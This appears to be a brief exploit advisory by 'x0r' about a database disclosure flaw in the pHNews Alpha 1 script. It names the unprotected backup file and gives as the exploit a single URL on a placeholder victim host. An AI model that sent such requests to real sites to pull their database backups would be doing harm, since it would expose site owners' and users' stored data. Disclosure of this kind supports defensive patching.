pHNews Alpha 1 suffers from a remote database disclosure vulnerability in genbackup.php.
a2cbfa10e68b0a9f1c49b967c1aeb01ea423ad03813f51b0da48d20fcf6e96a9
#########################################################################################
[0x01] Informations:
Name : pHNews Alpha 1
Download : https://www.hotscripts.com/listings/jump/download/50111/
Vulnerability : Db Discloure
Author : x0r
Contact : andry2000@hotmail.it
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/extra/genbackup.php
#########################################################################################
[0x03] Exploit:
Exploit: https://victim.org/extra/genbackup.php
########################################################################################